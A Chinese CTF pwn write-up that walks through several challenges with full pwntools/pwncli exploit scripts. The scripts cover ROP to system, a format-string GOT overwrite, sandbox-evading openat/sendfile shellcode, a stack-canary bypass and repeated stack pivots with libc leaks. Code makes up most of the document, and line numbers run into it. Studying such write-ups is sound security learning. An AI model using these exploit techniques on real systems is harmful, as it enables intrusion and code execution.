[Round 1] giaopwn
这一题覆盖完rbp后,只能输入三个p64()数据,这里可以找到cat flag
的字符串,所以我们考虑先控制rdi为cat flag
的地址,后返回到system函数(此次返回要返回到call _system
的位置,如果直接返回到system的plt表位置,将会因为栈未对齐导致失败,因为我们不知道system函数的真实地址,同时没有空间让我们插入ret
,所以采取这个方式)
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
8 collapsed lines
16x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))17
18rl()19s(b"a" * 40 + p64(0x400743) + p64(0x601048) + p64(0x4006D2))20
21ia()22# set follow-fork-mode parent23# set detach-on-fork on
[Round 1] ezfmt
可以看到,这里存在格式化字符串的漏洞,在read时也可以同步覆盖rbp和返回地址
我们可以考虑,一次性修改printf的got表地址,让它变成system的真实地址
我们可以控制格式化字符串和返回地址达到循环执行vuln的目的
第一次循环,泄露libc基址 第二次循环,修改printf的got表地址 第三次循环,执行system(“/bin/sh”)
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
18 collapsed lines
16x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))17
18vuln = 0x40120D19payload = b"%13$p"+b"A"*(0x28-5)+p64(vuln)20s(payload)21ru(b"0x")22libc_base = int(r(12),16)-0x2408323system = libc_base+libc.sym["system"]24
25printf_got = elf.got["printf"]26payload = (b"%"+str((system>>16)&0xff).encode()+b"c%9$hhn"+b"%"+str((system&0xffff)-((system>>16)&0xff)).encode()+b"c%10$hn").ljust(0x18,b"A")+p64(printf_got+2)+p64(printf_got)+p64(vuln)27s(payload)28sleep(2)29s(b"/bin/sh\x00")30
31ia()32# set follow-fork-mode parent33# set detach-on-fork on
[Round 1] ezorw
可以看到,程序通过mmap申请了一块区域,从gdb中可以看到,这一块区域可读可写可执行.我们可以通过read注入shellcode来获取flag
从这里可以看到,程序开启了沙箱机制,禁用了read write等函数,于是我们考虑openat+sendfile
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
25 collapsed lines
16x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))17
18# openat 25719# sendfile 4020# /flag -> 0x67616c662f21shell = asm('''22mov rsi,0x67616c662f23push rsi24mov rsi,rsp25mov rdx,026mov rax,25727syscall28mov rdi,129mov rsi,rax30mov rdx,031mov r10,10032mov rax,4033syscall34'''35)36s(shell)37
38ia()39# set follow-fork-mode parent40# set detach-on-fork on
[Round 1] canary_orw
可以看到,程序采用了沙箱机制,禁用了execve函数,我们可以考虑openat/open+sendfile或者open+read+write,也可以直接ShellcodeMall.amd64.cat_flag
在主函数中,我们可以修改返回地址到vuln
在vuln中,我们可以溢出buf来修改v3的数据,再通过sys_read来实现任意地址写,我们考虑通过这个任意地址写,修改___stack_chk_fail的got表为leave ret
的地址,这样就可以绕过canary
通过这一串汇编,我们可以让rip跳转到栈顶执行shellcode
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
39 collapsed lines
16x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))17
18# openat 257 // open 219# sendfile 40 // read 0 // write 120# /flag -> 0x67616c662f21ru(b"Say some old spells to start the journey\n")22s(p64(0x400820))23
24ru(b"Tell me the location of the Eye of the Deep Sea\n")25s(b"A"*8+p64(0x0601038))26ru(b"I have magic\n")27s(p64(0x4008ef))28ru(b"Let's go!\n")29# shell = open+read+write30shell = asm('''31mov rax,232mov rdi,0x67616c662f33push rdi34mov rdi,rsp35xor rsi,rsi36syscall37mov rdi,rax38mov rsi,0x60150039mov rdx,10040mov rax,041syscall42mov rdi,143mov rsi,0x60150044mov rdx,10045mov rax,146syscall47'''48)49s(b"A"*0x28+p64(0x40081B)+shell)50# s(b"A"*0x28+p64(0x40081B)+ShellcodeMall.amd64.cat_flag)51
52ia()53# set follow-fork-mode parent54# set detach-on-fork on
[Round 1] ezstack
思路一:
可以看到,stack函数内存在栈溢出,如果返回到vuln的顶部,则要想办法通过过滤拿到shell.初步探索可得system函数执行$SHELL
或$0
在一定程度上来说,可以拿到shell
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
13 collapsed lines
16x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))17
18ret_addr = 0x40101a19vuln = 0x40127520payload = b"A"*(0x30+8)+p64(ret_addr)+p64(vuln)21s(payload)22ru(b"input your command")23s(b"$0")24# s(b"$SHELL") 远端拿不到shell25
26ia()27# set follow-fork-mode parent28# set detach-on-fork on
思路二:
通过这一串汇编代码,一方面在指定位置输入数据,另一方面进行栈迁移
再通过这一串汇编执行system
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
17 collapsed lines
16x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))17
18ret_addr = 0x40101a19leave_ret = 0x40101a20read_leave_ret = 0x40125721wseg = 0x40480022payload = b"A"*(0x30)+p64(wseg+0x30)+p64(read_leave_ret)23s(payload)24sleep(2)25call_system = 0x40134426bin_sh = wseg27payload = b"/bin/sh\x00"+b"A"*(0x30-8)+p64(bin_sh+0x40)+p64(call_system)28s(payload)29
30ia()31# set follow-fork-mode parent32# set detach-on-fork on
[Round 2] ezstack2
控制rdi为1131796再返回vuln即可
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
10 collapsed lines
16x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))17
18s(b"A"*0x38+p64(0x400823)+p64(1131796)+p64(0x400758))19
20ia()21# set follow-fork-mode parent22# set detach-on-fork on23# openat 257 // open 224# sendfile 40 // read 0 // write 125# /flag -> 0x67616c662f
[Round 2] magicread
考虑通过这一串汇编实现输入+栈迁移
本题要栈迁移四次
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
30 collapsed lines
16x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))17
18ebp1 = 0x60140019leave_ret = 0x40069120read_leave_ret = 0x40067521ru(b"just read!")22payload = b"A"*(0x40)+p64(ebp1+0x40)+p64(read_leave_ret)23s(payload)24sleep(2)25rdi_ret = 0x040072326puts_got = elf.got["puts"]27puts_plt = elf.plt["puts"]28ebp2 = 0x60160029payload = p64(ebp2+0x40)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(read_leave_ret)+b"A"*(24)+p64(ebp1)+p64(leave_ret)30s(payload)31sleep(2)32puts_addr = x64()33print("puts_addr = ",hex(puts_addr))34
35libc_base = puts_addr-libc.sym["puts"]36system = libc_base+libc.sym["system"]37payload = b"/bin/sh\x00"+p64(rdi_ret)+p64(ebp2)+p64(system)+b"A"*(32)+p64(ebp2)+p64(leave_ret)38s(payload)39
40ia()41# set follow-fork-mode parent42# set detach-on-fork on43# openat 257 // open 244# sendfile 40 // read 0 // write 145# /flag -> 0x67616c662f
[Round 2] shortshell
可以执行shellcode,但是只有五字节…
存在后门函数,也就是说,shellcode只需要实现跳转
这里想到jmp跳跃,由于jmp是以目前的地址为基础的,我们可以算出jmp -0x2df9
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
10 collapsed lines
16x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))17
18s(b"\xe9\x03\xd2\xff\xff")19
20ia()21# set follow-fork-mode parent22# set detach-on-fork on23# openat 257 // open 224# sendfile 40 // read 0 // write 125# /flag -> 0x67616c662f
[Round 3] Secret
太简单,懒得说
[Round 3] ezstack3
可以看到,我们可以控制ebp和返回地址,优先考虑栈迁移
用这一串汇编来实现输入新数据+栈迁移
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
17 collapsed lines
16x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))17
18read_leave_ret = 0x0804931219ebp1 = 0x804c90020# payload = b"A"*(0x34)+p32(0x08049326)21payload = b"A"*(0x30)+p32(ebp1+0x30)+p32(read_leave_ret)22s(payload)23ru(b"pwn!")24sl("0")25sleep(2)26leave_ret = 0x0804918527payload = b"/bin/sh\x00"+p32(0x08049347)+p32(ebp1+5)+b"A"*(0x20)+p32(ebp1+4)+p32(leave_ret)28s(payload)29
30ia()31# set follow-fork-mode parent32# set detach-on-fork on
这道题貌似有bug,不知道为什么,如果将/bin/sh的地址整一个作为参数,则在执行system的时候会覆盖/bin
四个字符,于是我们考虑执行system("sh")
.
这道题如果将payload改为payload = b"/bin/sh\x00"+p32(elf.plt["system"])+p32(0)+p32(ebp1+5)+b"A"*(0x20-4)+p32(ebp1+4)+p32(leave_ret)
,无法执行;改为payload = b"/bin/sh\x00"+p32(elf.plt["system"])+p32(0)+p32(ebp1)+b"A"*(0x20-4)+p32(ebp1+4)+p32(leave_ret)
也无法执行,详细原因不明确